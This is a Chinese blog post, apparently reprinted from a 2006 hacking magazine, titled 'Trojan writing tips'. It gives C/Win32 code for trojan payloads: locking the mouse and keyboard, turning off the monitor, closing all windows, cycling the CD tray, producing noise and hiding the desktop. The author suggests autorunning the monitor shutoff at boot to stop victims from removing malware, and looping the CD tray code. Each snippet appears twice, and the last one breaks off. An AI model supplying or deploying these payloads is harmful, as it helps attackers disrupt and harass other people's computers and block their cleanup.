木马编写小技巧

1.锁定鼠标:


这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序
  1. #include <stdio.h> 
  2. #include <windows.h> 
  3. int main(int argc, char* argv[]) 
  4. printf("\n别害怕15妙后你的鼠标就可以使用了^_^\n"); 
  5. RECT rect; 
  6. rect.bottom=1; 
  7. rect.right=1; 
  8.   ClipCursor(&rect); 
  9. ::Sleep(15000); 
  10. ClipCursor(NULL);//释放 
  11. return 0; 
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
 printf("\n别害怕15妙后你的鼠标就可以使用了^_^\n");
 RECT rect;
 rect.bottom=1;
 rect.right=1;
  ClipCursor(&rect);
 ::Sleep(15000);
 ClipCursor(NULL);//释放
 return 0;
}
  注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域

2.锁定键盘:


锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了
  1. #include <stdio.h> 
  2. #include <windows.h> 
  3. //处理按键消息的过程函数 
  4. LRESULT CALLBACK keyproc( int code, 
  5.     WPARAM wParam, 
  6.     LPARAM lParam ) 
  7.     return 1;//返回1可使键盘停止响应 
  8. }  
  9. main(int argc, char* argv[]) 
  10.  
  11.  
  12.     SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安装键盘钩子 
  13.     printf("\n\n\n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦\n"); 
  14.     ::Sleep(15000); 
#include <stdio.h>
#include <windows.h>
//处理按键消息的过程函数
LRESULT CALLBACK keyproc( int code,
	WPARAM wParam,
	LPARAM lParam )
{
	return 1;//返回1可使键盘停止响应
} 
main(int argc, char* argv[])
{


	SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安装键盘钩子
	printf("\n\n\n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦\n");
	::Sleep(15000);
}
  注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL),GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了^_^.

3.关闭显视器


这个也是相当简单的看看代码:
  1. #include <windows.h> 
  2.  
  3.  
  4. int APIENTRY WinMain(HINSTANCE hInstance, 
  5.     HINSTANCE hPrevInstance, 
  6.     LPSTR     lpCmdLine, 
  7.     int       nCmdShow) 
  8.     SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭 
  9.     ::Sleep(10000); 
  10.     SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//打开 
  11.  
  12.  
  13.     return 0; 
#include <windows.h>


int APIENTRY WinMain(HINSTANCE hInstance,
	HINSTANCE hPrevInstance,
	LPSTR     lpCmdLine,
	int       nCmdShow)
{
	SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭
	::Sleep(10000);
	SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//打开


	return 0;
}
要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀…….嘿嘿

4.关闭所有窗口


原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起
  1. #include <windows.h> 
  2. BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam); 
  3. int APIENTRY WinMain(HINSTANCE hInstance, 
  4.     HINSTANCE hPrevInstance, 
  5.     LPSTR     lpCmdLine, 
  6.     int       nCmdShow) 
  7.     EnumWindows(EnumWindowsProc,0);//将窗口句柄传给回调函数处理 
  8.     return 0; 
  9.  
  10.  
  11. BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回调函数 
  12.     ::PostMessage(hwnd,WM_CLOSE,0,0);//结束窗口 
  13.     return (true);//返回FALSE时EnumWindows结束 
#include <windows.h>
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);
int APIENTRY WinMain(HINSTANCE hInstance,
	HINSTANCE hPrevInstance,
	LPSTR     lpCmdLine,
	int       nCmdShow)
{
	EnumWindows(EnumWindowsProc,0);//将窗口句柄传给回调函数处理
	return 0;
}


BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回调函数
{
	::PostMessage(hwnd,WM_CLOSE,0,0);//结束窗口
	return (true);//返回FALSE时EnumWindows结束
}
程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵

5.锁定光驱


其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱
  1. #include <mmsystem.h>//注意加入头文件 
  2. int APIENTRY WinMain(HINSTANCE hInstance, 
  3.     HINSTANCE hPrevInstance, 
  4.     LPSTR     lpCmdLine, 
  5.     int       nCmdShow) 
  6.     ::mciSendString("set cdaudio door open",NULL,0,NULL);//打开 
  7.     ::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//关闭 
  8.     return 0; 
#include <mmsystem.h>//注意加入头文件
int APIENTRY WinMain(HINSTANCE hInstance,
	HINSTANCE hPrevInstance,
	LPSTR     lpCmdLine,
	int       nCmdShow)
{
	::mciSendString("set cdaudio door open",NULL,0,NULL);//打开
	::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//关闭
	return 0;
}
//注意在 工程-设置-LINK中加入库文件名winmm.lib
如果你弄个死循环,就可以让他的光驱好好活动活动了^_^

6.制造噪音


大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在
  1. #include<windows.h> 
  2. main() 
  3.     for(int j=450;j<500;j++) 
  4.     { 
  5.         for(int i=1000;i<1110;i++) 
  6.         { 
  7.             Beep(i,30); 
  8.             ::Sleep(100); 
  9.         } 
  10.     } 
  11.  
  12.  
#include<windows.h>
main()
{
	for(int j=450;j<500;j++)
	{
		for(int i=1000;i<1110;i++)
		{
			Beep(i,30);
			::Sleep(100);
		}
	}


}
关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。

7.隐藏桌面


其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。
  1. #include <stdio.h> 
  2. #include <windows.h> 
  3. int main(int argc, char* argv[]) 
  4.     HWND disk,mask; 
  5.     disk=FindWindow("ProgMan",NULL); 
  6.     mask=FindWindow("Shell_TrayWnd",NULL); 
  7.     ShowWindow(mask,SW_HIDE);//隐藏任务栏 
  8.     ShowWindow(disk,SW_HIDE);//隐藏桌面 
  9.     printf("\n15妙后会自动出现桌面 请等待.....\n"); 
  10.     Sleep(15000); 
  11.     ShowWindow(mask,SW_SHOW);//显示 
  12.     ShowWindow(disk,SW_SHOW);//显示 
  13.     return 0; 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值